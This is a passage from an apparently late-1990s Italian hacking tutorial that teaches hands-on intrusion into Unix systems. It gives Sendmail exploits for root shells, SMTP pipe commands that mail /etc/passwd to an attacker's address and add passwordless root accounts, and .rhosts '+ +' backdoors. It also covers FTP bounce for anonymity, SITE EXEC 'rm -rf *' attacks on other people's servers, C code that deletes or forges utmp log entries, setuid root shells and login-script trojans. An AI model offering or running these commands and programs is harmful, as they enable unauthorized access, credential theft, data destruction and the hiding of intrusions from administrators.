|le più nuove) hanno un qualche bug che un hacker può sfruttare per guadagnare il|
|lecitamente accesso a un sistema. |
| |
|E il bello è il modo in cui lo si fa; non tramite una password o chissà cosa, ma|
|dalla parte più "innocua" di un sistema informatico: la posta elettronica! |
| |
|Vogliamo vedere cosa si può fare con Sendmail? :) |
| |
|Iniziamo con le sottoversioni della 8.6 (più precisamente le 8.6.6 e 8.6.7). |
|Vogliamo una shell root? Niente di più facile: basterà chiamare il programma Sen|
|dmail con il parametro -d seguito da un numero molto grande, come nel seguente |
|esempio: |
| |
| Sendmail -d3344556677 |
| |
|Se non avete un accesso diretto al server (e quindi state "lavorando" da remoto)|
|avrete bisogno di una shell per "chiamare" Sendmail. |
|Come ottenerla sarà oggetto dei prossimi volumi, ma se andate di fretta potete |
|sempre prendere un file passwd o shadow e crackarlo per avere accesso shell. |
|L'ideale sarebbe un account di quale Università... |
| |
|Oppure potreste usare l'hack del PHF (o della Query, come ultima risorsa) per es|
|eguire il comando senza bisogno di shell interattiva. |
|Ancora una volta vi consiglio di aspettare di conoscere TUTTA la materia, prima |
|di mettere in pratica... ancora non sapete come nascondervi in un sistema, quin-|
|di non abbiate fretta. Se proprio volete testare qualcosa, procuratevi Linux (se|
|non l'avete già), installatelo sul VOSTRO computer e provate. |
| |
|Per la cronaca, la sottoversione 8.6.9 non è vulnerabile a quest'attacco, ma an-|
|che qui si può avere una shell root, utilizzando un exploit che si trova sui si-|
|ti per hackers. Si tratta di un programmino in C (creato da Atreus). |
|Non lo includo perché dalla versione 8.6.12 (compresa) in poi tale exploit non |
|funziona. |
| |
| [NOTA] La maggior parte dei problemi di sicurezza vengono fatti notare e molto |
| spesso anche risolti proprio dagli hackers. Se non ci fossero gli hacker|
| saremmo rimasti a versioni... preistoriche dove bastava scrivere WIZ per|
| avere tutto un computer ai propri comandi. Un motivo in più per smettere|
| di prendersela con noi se si assume personale incapace di gestire seria-|
| mente un sistema informatico, sia esso in rete o meno. |
| |
|Ci sono molte altre versioni 8.x.x bacate, ma poiché si tratta di piccoli bug |
|tutti diversi è consigliabile cercare quello che interessa sul sito di 8lgm |
|(http://www.8lgm.org), che elenca tutti i bug e ne dà un hack completo per cias-|
|cuno, o su L0pht (http://www.l0pht.com). |
| |
|Unix assegna un livello utente (UID, cioé User IDentifier) e un livello di grup-|
|po (GID, cioé Group IDentifier) a ciascun utente. |
|Un UID pari a 0 è (quasi sempre) un utente root. Se ad esempio nel file passwd |
|di un sito troviamo... |
| |
| root:7u89vCSK0oL:amministratore:0:0:/:/bin/sh |
| |
|il primo numero (0) è UID e il secondo (0) è GID. |
| |
|E' possibile sfruttare un bug di Sendmail per forzare il nostro UID a 0... e di-|
|ventare root :) Supponiamo infatti di aver crackato la password di un utente |
|qualsiasi, ma di non riuscire ad accedere a root... come fare? |
|Utilizzando questo hack sul Sendmail. Bisognerà innanzitutto avere accesso a una|
|shell; molti utenti hanno una shell, anche se limitata, ma servirà allo scopo. |
|Se proprio non riuscite a procurarvene una, collegatevi a una delle tantissime |
|BBS via Telnet presenti su Internet. Esse sono quasi sempre ad accesso gratuito |
|e usano sistemi Unix, con tanto di shell per gli utenti. |
|Non sono shell root... ma sapremo accontentarci, dal momento che da una shell ad|
|accesso limitato si può arrivare a root. |
|Alcuni siti, come quello di Lord Somer (http://www.ilf.net/LordSomer/), hanno in|
|tere liste di BBS Telnet. Dovete solo scegliere quella che preferite. |
| |
|Dicevamo, come forzare UID a 0 ora che abbiamo una shell? Digitando quanto segue|
| |
| % cat ~/.forward <-- noi |
| <-- noi |
| miosito.com miousername <-- noi |
| ^D <-- noi (premere Ctrl-D) |
| % smail -bs -D ~root/.rhosts -v20 <-- noi |
| 220 provider.com Sendmail x.x.x.x ready ecc... <-- server |
| expn root <-- noi |
| 250 <-- server |
| quit <-- noi |
| % rsh -l root lamesite.com tcsh\ -i <-- noi |
| WARNING: no access to TTY (bad file number) <-- server |
| # id <-- noi |
| UID=0 GID=0 <-- server |
| |
|Nell'ultima riga, quando scriviamo il comando ID, il server risponde che il nos-|
|tro UID e il nostro GID sono uguali a 0... il che significa... beh, lo avete ca-|
|pito =) |
| |
|I vecchi server Sendmail (versioni 5.xx) hanno dei bug estremamente gravi; basti|
|pensare alla versione 5.64 che permette di sfruttare il programma "decode" (uude|
|code) di Unix per "eliminare" l'accesso tramite password. |
|In pratica, inviando una FakeMail (con Telnet) di questo tipo: |
| |
| HELO hacker.com |
| MAIL FROM: bin |
| RCPT TO: decode |
| DATA |
| begin 644 /usr/bin/.rhosts |
| $*R`K"@`` |
| ' |
| end |
| |
| . |
| |
| QUIT |
| |
|sarà poi possibile utilizzare un client rlogin per collegarsi senza bisogno di |
|password. Ma come è stato possibile? Quello che è successo è questo: |
|il file .rhosts di Unix contiene una lista di hostname e username ai quali |
|è consentito l'accesso. Mettendo un + al posto di hostname e username si consen-|
|te l'accesso a chiunque, ed è esattamente questo ciò che abbiamo fatto: la linea|
|dopo "begin 644..." non è altro che tale comando (+ +) codificato con il program|
|ma encode (uuencode). Inviando questa FakeMail a decode (uudecode) quel codice |
|verrà ritrasformato in "+ +" e scritto nel file /usr/bin/.rhosts (vedi sopra). |
|Basterà dunque procurarsi un client rlogin per acedere tranquillamente al server|
| |
|La versione 5.65 di Sendmail (la successiva a quella appena vista, creata per ri|
|solvere quel problema) è ancora più pericolosa... ;) |
|Infatti basta inviare via Telnet i seguenti comandi: |
| |
| HELO hackers.com |
| MAIL FROM: |/usr/ucb/tail|/usr/bin/sh |
| RCPT TO: prova |
| DATA |
| From: pirata@hackers.com |
| Return-Receipt-To: |nessuno |
| |
| #!/bin/sh |
| COMANDI |
| |
| . |
| |
| QUIT |
| |
|Al posto di "COMANDI" vanno inseriti uno o più comandi shell (su righe separate)|
|come ad esempio: |
| |
| /bin/mail pirata@hackers.com < /etc/passwd |
| |
|per inviare a voi stessi il file /etc/passwd (o qualsiasi altro), oppure: |
| |
| echo prova::0:0::/:/bin/sh >> /etc/passwd |
| |
|per aggiungere l'account "prova" (con accesso root, senza password, con shell ro|
|ot e accesso a tutto l'hard disk....) al file /etc/passwd (notate i due >> anzi-|
|ché uno solo). O ancora: |
| |
| chmod 777 /etc/passwd |
| |
|per rendere il file /etc/passwd (o altro) prelevabile senza restrizioni, o: |
| |
| cp /bin/sh /tmp/pirata |
| chmod 6777 /tmp/pirata |
| |
|dove nella prima riga copiamo (cp) la shell (/bin/sh) nella directory /tmp col |
|nome di "pirata" (vi consiglio di cambiare questo nome :) |
| |
|Nella seconda riga diamo accesso al file /tmp/pirata a chiunque, anche a un uten|
|te qualunque. Tale file non è altro, come abbiamo visto, che la shell. Quindi |
|basterà andare in /tmp ogniqualvolta vi servirà una shell root, e digitare "pira|
|ta" per invocare la shell ed eseguire un qualsiasi comando. |
| |
|Un altro hack famoso è quello dell'attacco del pipe, funzionante su versione 5.5|
|6 (e altre). Funziona così: si prepara una semplice FakeMail del tipo... |
| |
| HELO hacker.com |
| MAIL FROM:<"|/bin/mail pirata@hackers.com < /etc/passwd"> |
| RCPT TO:<"pirata@hotmail.com"> |
| DATA |
| questa è una prova... |
| |
| . |
| |
| QUIT |
| |
|e, se il server e` vulnerabile, riceveremo il file /etc/passwd via e-mail. Natu-|
|ralmente si potrà usare qualsiasi comando dopo il pipe (il "|"). |
| |
+--------------------------------------------------------------------------------+
| |
| [H] - FTP Bounce |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - TECNICHE AVANZATE: FTP BOUNCE |
|

  
|
|Passiamo ora a qualcosa di veramente interessante: FTP. Vi chiederete ma FTP non|
|serve solo a trasferire i file? |
|La risposta è no. Beh, dovrebbe essere si... ma sapete com'è... un hacker è un |
|pò come un bambino curioso che si diverte di più a "smontare" un giocattolo che |
|a usarlo per quello a cui servirebbe =) |
| |
|Innanzitutto sappiate che FTP altro non è che una sessione di Telnet con qualche|
|piccolo extra in più (il trasferimento di file). |
| |
|Esistono infatti dei comandi "interni", come abbiamo visto per SMTP, e quindi an|
|che FTP è gestibile (in parte) tramite Telnet. |
| |
|La tecnica che ci accingiamo a studiare è detta "FTP Bounce" (rimbalzo dell'FTP)|
| |
|Vi servirà innanzitutto un server FTP che vi permetta di inviare e prelevare fi-|
|les da una directory qualsiasi. Potete tranquillamente trovare tali server cer- |
|cando la parola "warez" (software commerciale piratato) con un motore di ricerca|
|di files come "FTP Search" (http://ftpsearch.ntnu.no/ftpsearch), oppure "Filez" |
|(http://www.filez.com); prendete nota anche della directory che verrà visualiz- |
|zata accanto al nome del server che la contiene. |
| |
|Ora provate a collegarvi a uno di quei server, ed a entrare nella directory "wa-|
|rez"
(o un'altra in cui si possano leggere e scrivere i files). Provate a invia-|
|re un file di prova e a prelevarlo di nuovo, per controllare se è questo il ser-|
|ver "giusto". Se tutto funziona, lo avete trovato, altrimenti usatene un altro |
|(ce ne sono moltissimi). |
| |
|Questo server sarà la vostra "base di lancio". In tutti gli attacchi che effet- |
|tuerete verrà visualizzato l'IP Address di questo server, anziché il vostro. |
| |
|Ora studiamo il funzionamento dell'attacco, in modo da poterlo adattare a qual- |
|siasi nostro bisogno, per poter magari anche inventare nuovi metodi di utilizzo |
|a seconda delle necessità. |
| |
|Dovremo innanzitutto creare un file (vedremo tra poco come) che contenga i coman|
|di che vogliamo far eseguire (in base a ciò che vogliamo fare). |
|Non preoccupatevi ora del suo contenuto. Per ora ci interessa solo studiare il |
|funzionamento della tecnica, e poi procedere con gli esempi. |
| |
|Ora ci servirà un normale programma client FTP (come Cute-FTP e WS-FTP se usate |
|Windows, oppure il comando FTP di Linux). Lo useremo per inviare il file di cui |
|sopra nel server "base" che abbiamo scelto prima. |
| |
|Una volta inviato il nostro file, chiuderemo FTP e passeremo a Telnet. |
| |
|La porta di FTP è la numero 21. Colleghiamoci dunque al server "base" alla porta|
|21 e aspettiamo una risposta. Ora potremo inserire i comandi: |
| |
| USER anonymous |
| PASS nessuno@niente.com |
| |
|e, se l'accesso anonimo è abilitato (come succede nel 90% dei casi), il server |
|risponderà qualcosa come "User anonymous logged in". Siamo dentro. |
| |
|Dobbiamo ora conoscere l'IP Address del server da attaccare. Perciò avremo biso-|
|gno di un programma DNS per risalire dall'host name all'IP Address. |
| |
|Ora digitiamo (in Telnet) il comando PORT x,x,x,x,0,y dove x,x,x,x è l'IP Addres|
|del server da attaccare e y è la porta del servizio da attaccare (21 per FTP, 80|
|per il Web, e così via). |
|Notate che l'IP Address in questo caso non usa punti per separare i numeri ma |
|delle virgole. |
| |
|Quello che succede inserendo il comando PORT è questo: diciamo al server FTP di |
|collegarsi all'IP Address e alla porta che gli diamo come parametri. |
|In pratica, sarà il server FTP a collegarsi, anziché noi... abbiamo così il ser-|
|ver come "complice", in quanto sarà lui a fare tutte le operazioni e le eventua-|
|li tracce lasciate saranno le sue! :) Noi siamo nell'ombra... |
|(vi renderete conto che questo è un ottimo mezzo per nascondere in un modo im- |
|pensabile le proprie tracce, qualsiasi cosa vi serva fare). |
| |
|Basterà ora digitare RETR nomedelfileinviato e tutti i comandi desiderati saran-|
|no inviati dalla "base" alla "vittima". |
| |
|Ma ora basta teoria, passiamo a qualche esempio esplicativo. |
| |
|Vogliamo ad esempio inviare una FakeMail impossibile da rintracciare? |
|Allora studiamo il problema in questi termini: |
| |
| 1) quali tipi di comandi dovremo inserire nel file? |
| 2) quale servizio stiamo hackerando? |
| 3) quale server useremo come destinazione? |
| |
|Ecco le risposte: |
| |
| 1) i comandi saranno per SMTP, dovendo noi inviare una FakeMail |
| 2) il servizio è, come abbiamo appena detto, la posta, cioé SMTP |
| 3) un qualsiasi server SMTP andrà bene; usaremo DNS per conoscerne l'IP Addres|
| (che in questo esempio supponiamo essere 123.45.67.89) |
| |
|Ora ci colleghiamo, come abbiamo fatto prima, al server "base" (FTP) con il cli-|
|ent FTP e inviamo i comandi (che avremo scritto prima di iniziare il collegamen-|
|to) della FakeMail: HELO, MAIL FROM, ecc. (la solita FakeMail). |
| |
|Adesso useremo Telnet sul server "base" (la porta è sempre 21, fin qui rimane |
|sempre tutto uguale) e digitiamo PORT 123,45,67,89,0,25 dove 123,45,67,89 è l'IP|
|Address del server che dovrà eseguire il nostro file (il server di posta), ma |
|con le virgole anziché i punti (questo è il formato richiesto da FTP), mentre 25|
|è la porta SMTP. |
| |
|Infine scriveremo RETR nomedelfileinviato per avviare l'esecuzione dei comandi. |
|Dopo poco tempo la FakeMail verrà inviata dal server, ma senza un IP Address che|
|riveli la nostra identità. |
| |
| [NOTA IMPORTANTE] Alla fine del file dei comandi bisogna aggiungere circa 60 |
| kilobyte di byte 0, affinché la connessione duri abbastanza e|
| non si interrompa bruscamente. |
| Per creare tale file basta usare "debug" (sotto DOS) |
| scrivendo: |
| |
| DEBUG PROVA <-- noi |
| File non trovato |
| -f 100,F000,0 <-- noi |
| -rcx <-- noi |
| :0000 |
| EA60 <-- noi |
| -w <-- noi |
| Scrittura di EA60 bytes in corso... |
| -q <-- noi |
| |
|Ora un file chiamato "PROVA" di dimensioni 60000 byte sarà stato creato. |
|Se il nostro file dei comandi l'abbiamo chiamato "comandi" (che fantasia...) |
| |
|scriveremo: |
| |
| copy /b comandi+prova finale |
| |
|E un nuovo file, "finale", verrà creato. Questo sarà il file da inviare. |
| |
| [ATTENZIONE] Questo va fatto TUTTE le volte che useremo il metodo dell'FTP Boun|
| ce, non solo nel caso della FakeMail. |
| |
| |
|Facciamo ora un altro esempio, un pò più complesso. |
| |
|A volte capita di trovare un server che non ci permette di prelevare un file per|
|ché magari il provider da cui chiamiamo è in Italia e il suddetto server invece |
|si trova all'estero e non vuole dare accesso a chi proviene da *.it e cose del |
|genere. Come fare, allora? |
| |
|Creeremo un file dei comandi contenente quanto segue: |
| |
| user anonymous |
| pass nessuno@niente.com |
| cwd /directory/dove/si/trova/il/file |
| type i |
| port X,X,X,X,Y,Y |
| retr nome_del_file_da_prelevare |
| quit |
| |
|(ovviamente anche questo file va "trattato" con debug e copy). |
| |
|Chiamiamo questo file con un nome come "bounce". |
| |
|Nel file sopra dovrete sostituire directory e nome file. X,X,X,X è il *vostro* |
|IP Address, e Y,Y è spiegato piu` giù. |
| |
|Ecco cosa bisogna fare: |
| |
| - Collegatevi con Telnet alla porta 21 del server "base" |
| - Scrivete PASV (e invio, ovviamente) |
| - Il server risponderà con qualcosa come 111.22.33.44,0,21 Prendete nota degli|
| ultimi due numeri (0 e 21) |
| - Scrivete STOR hahaha |
| - Ora Telnet si bloccherà, poiché sta aspettando i dati da inviare |
| - Usate il vostro client FTP, collegatevi di nuovo al server e inviate il file|
| (nel nostro esempio l'abbiamo chiamato bounce) |
| - Ora aprite un altro client Telnet, collegatevi di nuovo al server "base" sul|
| la porta 21 e scrivete PORT x,x,x,x,0,21 (dove x.x.x.x e` l'IP Address del |
| server da attaccare, cioé quello da cui volete prelevare i file) |
| - Scrivete RETR bounce (se avete chiamato "bounce" il file dei comandi) |
| - Dopo un certo tempo (che dipende dalle dimensioni del file da scaricare) |
| troverete il file desiderato nel server "base", con il nome "hahaha". |
| |
|Esistono molti altri metodi per utilizzare l'FTP Bounce; ad esempio se volete |
|"bombardare" un utente su IRC, potete creare un file dei comandi contenente una |
|serie di DCC CHAT, PRIVMSG, ecc (solo se conoscete bene IRC) e farli mandare dal|
|vostro server "base" a uno (o molti) server IRC. |
| |
|Potete inoltre usarlo per collegarvi a una shell (i comandi Telnet vanno messi |
|nel file dei comandi) e leggere il file delle password e fare altre cose senza |
|essere scoperti. Ad esempio potete usare "cat < /etc/shadow" per visualizzare un|
|file delle password shadow, o un "rm -rf *" (molto utile per rendere la vita mis|
|erabile ai SysAdmin che si stancano di fare un backup di tutti i files dei loro |
|sistemi)... |
| |
|Vale la pena di spendere ancora un paio di parole sui bugs di FTP. |
| |
|SITE EXEC è un comando che si trova in molti server, sia per Unix che per Win- |
|dows. Non è un bug, ma un comando che sembra essere stato fatto apposta per un |
|hacker.malicious :) A cosa serve, vi chiederete... |
| |
|Utilizzando Telnet sulla porta 21 di un server FTP, inviate i comandi USER e PAS|
|come visto sopra, in modo da accedere in modo "anonimo" al server, e poi digita-|
|te SITE EXEC seguito da un comando. Se SITE EXEC è implementato, il vostro coman|
|do verrà eseguito. |
| |
|Un modo per conoscere quali comandi sono implementati su un server FTP si può |
|usare il comando HELP. |
| |
|Un'attività che personalmente *adoro* praticare è andare sui canali IRC per pedo|
|fili, aspettare che qualcuno faccia pubblicità all'indirizzo del proprio server |
|FTP pieno di schifezze e fare un po` di pulizia usando il comando: |
| |
| SITE EXEC rm -rf * |
| |
|...se il server è per Unix (come ftpd). Oppure usando format /autotest se il ser|
|ver è (praticamente sempre) per Windows (Serv-U, WarFTP). |
| |
+--------------------------------------------------------------------------------+
| |
| [I] - Hacking Pratico |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - HACKING PRATICO PARTE I: Introduzione |
| |
|Passiamo ora dalla teoria alla pratica: come vi ho già detto nel precedente volu|
|me è bene che vi facciate un account su una delle tante BBS via Telnet che sono |
|presenti su Internet, in modo da poter accedere via Telnet ai vari servizi senza|
|doverci preoccupare di dover cancellare il nostro IP Address. |
| |
|Ovviamente per avere la certezza di non lasciar tracce dovremmo applicare delle |
|misure di sicurezza addizionali, come cancellare i log di sistema e utilizzare |
|un account di qualcun altro... ma in genere una shell di una BBS via Telnet può |
|bastare (a meno che non abbiate in mente di hackerare un mainframe del Pentagono|
|o del NORAD). |
| |
|Prima di usare il vostro client Telnet preferito ricordate le tecniche di "boun-|
|ce"
di cui vi avevo parlato un pò di tempo fa? |
| |
|Rivediamole brevemente: usando un programma come Telnet, Finger, FTP, ecc... è |
|possibile effettuare un collegamento ricorsivo: in pratica, se il server sul qua|
|le abbiamo l'accesso shell è sito.com noi potremo collegarci ad esso e una volta|
|dentro potremo usare Telnet, Finger, ecc. per collegarci ancora una, due, tre |
|volte a sito.com. Ciò puo` sembrare stupido: collegarsi a un sito, e da questo |
|collegarsi di nuovo allo stesso sito! |
| |
|In realtà è un ottimo metodo per nascondere il nostro IP Address. Infatti, ogni-|
|qualvolta ci colleghiamo a un sito lasciamo l'IP Address del server sul quale si|
|amo collegati. Normalmente, questo è l'IP Address del provider che stiamo usando|
|e da esso si può risalire a noi. |
|Ma se disponiamo di un account su una BBS via Telnet (come detto prima), non dov|
|remo far altro che collegarci ad essa, e qualsiasi cosa faremo tramite la sua |
|shell, anziché il nostro IP lasceremo quello della BBS. |
| |
|Ovviamente però la vittima degli attacchi potrebbe rivolgersi al SysAdmin della |
|BBS e questi troverebbe il vostro IP Address nei suoi log. |
| |
| [Ricapitolando] La vittima ha l'IP della BBS (perché è da lì che vi siete col- |
|legati), mentre la BBS ha il vostro IP. |
| |
|Se poi dalla BBS ci colleghiamo tramite Telnet alla BBS stessa, l'IP Address re-|
|gistrato non sarà il nostro ma quello della BBS! Quindi ora il nostro IP non com|
|pare più da nessuna parte. Per essere ancora più sicuri potremmo iterare la con-|
|nessione una terza volta, oppure collegarci dalla BBS primaria a un'altra BBS su|
|cui abbiamo un account (bounce)... insomma, basta usare la fantasia :) |
| |
|Ma ora occupiamoci dei log di sistema. Le nostre lezioni sull'hacking si baseran|
|no principalmente su Unix (e quindi le varianti come Linux, ecc.) ma in futuro |
|tratteremo anche altri sistemi come Windows NT e Macintosh. |
| |
+--------------------------------------------------------------------------------+
| |
| [J] - Hacking Pratico |
| |
+--------------------------------------------------------------------------------+
| |
| |
| [#] - HACKING PRATICO Parte II: Dissimulazione |
| |
|I file di log più "pericolosi" che contengono le tracce da cancellare sono /etc |
|/utmp e /etc/wtmp ma un SysAdmin (a meno che non sia improvvisamente impazzito) |
|sa che proprio per evitare "manomissioni" tali file vanno protetti e quindi in |
|genere non è possibile, per un utente qualsiasi, scrivere in essi. |
| |
|I "permessi" di lettura, scrittura e cancellazione di file e directory sotto Un-|
|ix sono nella forma drwxrwxrwx (non spaventatevi! =) dove: |
| |
| "d" sta per directory (se c'è è una directory, altrimenti è un file) |
| "r" sta per read (accesso in lettura consentito) |
| "w" sta per write (accesso in scrittura consentito) |
| "x" sta per execute (è permesso eseguire il file) |
| |
|Quando una o più di questi permessi non sono abilitati (non è consentito fare |
|una cosa, come nel caso di r w x oppure non si tratta di una directory nel caso |
|di d) al loro posto troveremo un trattino (-). |
| |
|Escludiamo ora il primo carattere, che serve solo a capire se stiamo avendo a |
|che fare con un file o una directory, e passiamo agli altri. Essi sono raggrup- |
|pati in tre gruppi di tre caratteri ciascuno: il primo gruppo si riferisce a co-|
|sa può fare l'utente, il secondo a cosa può fare il gruppo e il terzo a cosa pos|
|sono fare gli altri. Un esempio: -rwxrw-r-- significa che l'utente può leggere, |
|scrivere ed eseguire il file (rwx), il secondo (rw-) significa che il gruppo (ve|
|di spiegazione sui file delle password) può leggere e scrivere, ma non eseguire |
|il file, mentre l'ultimo (r--) significa che gli altri possono soltanto leggere |
|il file, ma non modificarlo. |
| |
|Per visualizzare i permessi di un file useremo il comando LS di Unix. Esso equi-|
|vale grossolanamente al comando DIR del DOS. L'uso di LS per visualizzare i per-|
|messi di file e directory è il seguente: |
| |
| ls -l nome_e_percorso_del_file |
| |
|Quindi, nel caso di utmp faremo: ls -l /etc/utmp dalla nostra shell. Vediamo dun|
|que dal risultato di questo comando se abbiamo il permesso di scrivere in quel |
|file: se il terzo carattere (nella forma vista prima) è la lettera "w" (write) |
|abbiamo tali permessi. Se invece è un trattino, dovremo accontentarci di nascon-|
|dere il nostro IP Address... oppure hackerare root per avere tutti i permessi |
|abilitati :) |
| |
|Se dunque abbiamo il permesso di scrittura, potremo nascondere le nostre tracce |
|o dissimulare il nostro username. Mi spiego meglio: supponiamo che il nostro |
|username è "hacker". Il nostro scopo è farlo scomparire dai log, ma potremmo an-|
|che volerlo cambiare e far ricadere la colpa su qualcun'altro che abbia un certo|
|username, o ancora far comparire nei log un username inesistente (ad esempio |
|qualche parolina per sfottere un pò il SysAdmin nel caso in cui vada a leggersi |
|il log per risalire a noi). |
| |
|Ecco il programma in C (per Unix) che farà entrambe le cose, a seconda di quella|
|che ci serve: |
| |
+----------------------------------INIZIO-CODE-----------------------------------+
| |
| #include <stdio.h> |
| #include <fcntl.h> |
| #include <sys/types.h> |
| #include <utmp.h> |
| #include <sys/stat.h> |
| |
| struct utmp *user; |
| char *usrt; |
| |
| main (argc,argv) |
| int argc; |
| char *argv[]; |
| { |
| int fatto=0, cnt=0, start=1, index=0; |
| char err[80]; |
| if (argc == 1) printf("Removing you from utmp\n"); |
| if (argc == 2) printf("Changing your login to %s\n",argv[1]); |
| utmpname("/etc/utmp"); |
| usrt = strrchr(ttyname(0),'/'); |
| strcpy(usrt,++usrt); |
| while (fatto != 1) { |
| user = getutent(); |
| cnt++; |
| if (strcmp(user->ut_line,usrt) == 0) fatto=1; |
| } |
| utmpname("/etc/utmp"); |
| for (start=0; startut_type = LOGIN_PROCESS; |
| strcpy(user->ut_name,"LOGIN"); |
| } |
| else user->ut_type = USER_PROCESS; |
| if (argc == 2) strcpy(user->ut_name,argv[1]); |
| pututline(user); |
| endutent(); |
| } |
| |
+-----------------------------------FINE-CODE------------------------------------+
| |
|Ovviamente dovrete avere almeno un pò di dimestichezza con Unix... vi basterà |
|salvare questo listato sotto forma di file di testo, e inviarlo in una directory|
|del server da hackerare, dopodiché dovrete compilare il file usando gcc oppure |
|cc (i due compilatori C più usati sotto Unix), digitando nella shell: |
| |
| gcc nome_del_file.c |
| |
|Se tutto è andato bene, troverete nella directory un file compilato (se il nome |
|del file era nascondi.c il nome del file eseguibile sarà semplicemente "nascon- |
|di"
). L'uso è semplice: eseguendo il file le vostre tracce saranno cancellate da|
|utmp. Scrivendo invece (ad esempio): nascondi hahaha il vostro username non sarà|
|cancellato da utmp, ma verrà sostituito con "hahaha". |
| |
|Se avete il permesso in scrittura su utmp e non volete cimentarvi con il C e i |
|compilatori (dovrete farlo prima o poi, se volete imparare seriamente) e volete |
|ancora eliminare il vostro username dal log, dovrete: |
| |
| 1) usare la tecnica del collegamento ricorsivo con Telnet (vista all'inizio di|
| questo file) per nascondere l'IP; |
| 2) modificare il file utmp per rimuovere l'username... o eliminarlo. |
| |
|Comunque vi consiglio caldamente di evitare questa "manovra" estrema e di usare |
|il programma in C sopra riportato. |
| |
|Nel frattempo, se avete installato Unix o Linux sul vostro computer (non l'avete|
|fatto ancora?? che aspettate? la miglior teoria è la pratica ;) sarebbe bene |
|prendere dimestichezza con il compilatore C e con i comandi di base (come cat e |
|ls), e dare poi uno sguardo ai file utmp e wtmp per vedere come sono strutturati|
|Provate anche a compilare e usare il programma in C che trovate qui sopra. |
| |
+--------------------------------------------------------------------------------+
| |
| [K] - Hacking Pratico |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - HACKING PRATICO PARTE 2: Trojan Horse e Backdoor |
| |
|Ora sappiamo come nascondere le nostre tracce, e come ottenere accesso root su |
|un sistema, ma è probabile che non appena il SysAdmin noterà qualche attività |
|sospetta farà di tutto per rendere vano tutto il nostro lavoro e tenerci alla |
|larga dal suo sistema. |
| |
|Se ciò può ostacolare un hacker alle prime armi, non potrà però fermare chi sa |
|come reagire nel modo giusto in questa guerra virtuale tra Hacker e SysAdmin. |
| |
|Iniziamo a identificare l'obiettivo principale: cosa ci consente di eseguire |
|qualsiasi comando, avere accesso a tutti i file e le directory, aggiungere o ri-|
|muovere a piacimento un account su un server, e così via? Ovviamente la risposta|
|è: la shell di root, ossia /bin/sh. |
| |
|Ma se l'utente root (cioè il SysAdmin) dovesse toglierci i privilegi root, avrem|
|mo solo una possibilita`: hackerare di nuovo il server, sperando che il SysAdmin|
|non si sia accorto del metodo che abbiamo utilizzato per "entrare" e non abbia |
|corretto il problema. |
| |
|Questa ovviamente non è una soluzione brillante... perciò vediamo come fare per |
|avere qualche carta in più da giocare. |
| |
|Un metodo può essere creare un programma o uno script che abbia i privilegi di |
|root. Infatti, quando copiamo un file ne conserviamo i privilegi; perciò se ad |
|esempio copiamo /bin/sh in /tmp/test anche se poi accediamo al server con un ac-|
|count di un utente qualsiasi (e quindi senza privilegi), /tmp/test avrà la stes-|
|sa identica funzione di /bin/sh in quanto non abbiamo copiato solo l'eseguibile |
|della shell (sh) ma anche i suoi privilegi. Quindi mentre normalmente /bin/sh |
|non è accessibile agli utenti, /tmp/test (o qualsiasi sia il nome che gli abbia-|
|mo voluto dare) sarà una shell root utilizzabile da qualsiasi utente che sappia |
|della sua esistenza. |
| |
|Per applicare i nuovi permessi a un file esistente dobbiamo eseguire: |
| |
| chmod 4777 nomefile |
| |
|dove nomefile è (nel nostro caso) /tmp/test oppure un qualsiasi altro file con- |
|tenente la shell. "chmod" serve a cambiare i permessi di un file. |
| |
|La parte importante è 4xxx (dove xxx è il permesso standard di quel file). |
| |
|Se non conoscete bene Unix (e quindi non state capendo niente o quasi) vi consi-|
|glio per l'ennesima volta di installare Linux e di sperimentare con i comandi. |
|Usate il comando "man chmod" per avere ulteriori informazioni sul comando chmod,|
|oppure "man comando" per avere informazioni su un qualsiasi altro comando Unix. |
| |
|Se avete un client rlogin (oppure rsh o rexec) potete fare un'altra cosa. |
| |
|Come spiegato nel volume 7, il file .rhosts contiene una lista di username e pas|
|sword di chi può accedere a un server senza bisogno di password; in pratica, è |
|una lista di server e utenti "fidati" :) |
| |
|Aggiungendo una riga contentente soltanto questo: |
| |
| + + |
| |
|(senza le righe vuote prima e dopo) al file .rhosts (ad esempio usando PHF, Send|
|mail o "cat" da una shell per aggiungere questa riga al file, come spiegato nel |
|volume 5), chiunque potrà accedere al server usando rlogin, rsh e rexec ed ese- |
|guire comandi. Se non vogliamo dare accesso a chiunque (per evitare di essere |
|scoperti subito) potremo anche dare accesso solo a noi stessi, usando: |
| |
| nome_del_nostro_server nostro_username |
| |
|(anziché + +), ma NON fatelo se l'account è il vostro... se è di qualcun altro è|
|un discorso, altrimenti non fatelo. Infatti se e quando il SysAdmin darà un'oc- |
|chiata al file .rhosts troverà in pratica il vostro "biglietto da visita", cioè |
|nome del vostro server e il vostro username! Altro che nascondere IP Address ;) |
| |
|Dato quindi che starete certamente usando uno dei metodi spiegati nell'ottavo vo|
|lume, come il bounce tramite Telnet, e un account di qualche sperduta BBS oltreo|
|ceano, usare + + sarà più che sufficiente nella maggior parte dei casi (diciamo |
|pure sempre). |
| |
|Un altro metodo ancora è aggiungere un comando a uno dei file script di uno o |
|più utenti. Ma cos'è un file script? Non e` altro che un file di testo contenen-|
|te una lista di comandi da eseguire (come i file .BAT del DOS). |
|Quindi se aggiungiamo un comando esso sarà eseguito proprio come gli altri. |
| |
|Gli script sono .login e .logout (che vengono avviati rispettivamente quando un |
|utente si collega o si scollega), ma anche .profile e .cshrc e gli altri che ini|
|ziano con un punto in una directory utente. |
|Aggiungendo ad esempio la riga seguente: |
| |
| if /tmp/programma exists run /tmp/programma |
| |
|lo script verificherà se il file /tmp/programma esiste e in caso affermativo lo |
|eseguirà. Questo metodo è quindi l'ideale per eseguire un comando, come ad esem-|
|pio la shell, oppure per un troiano o una backdoor. |
| |
|Ma cosa sono i troiani? E le backdoor? |
| |
|Un troiano (detto anche Trojan Horse) è un programma che fa qualcosa di cui chi |
|lo esegue è ignaro. In genere sono concepiti per far danni, o attivare altri pro|
|grammi. |
| |
|Una backdoor, invece, è un programma che normalmente è presente sul sistema (ad |
|esempio "login", oppure i comandi presenti nella directory /bin), ma che è stato|
|modificato dall'hacker per fare qualcosa di preciso. |
|Quasi sempre questo "qualcosa" è accedere alla shell di root o eseguire uno o |
|più programmi. |
|L'utilità di una backdoor è che anche se un SysAdmin cambia la password di root,|
|o comunque vi impedisce di usare la shell, voi avete sempre questo "passaggio |
|segreto"
per entrare nel sistema a sua insaputa, e senza lasciar traccia. |
| |
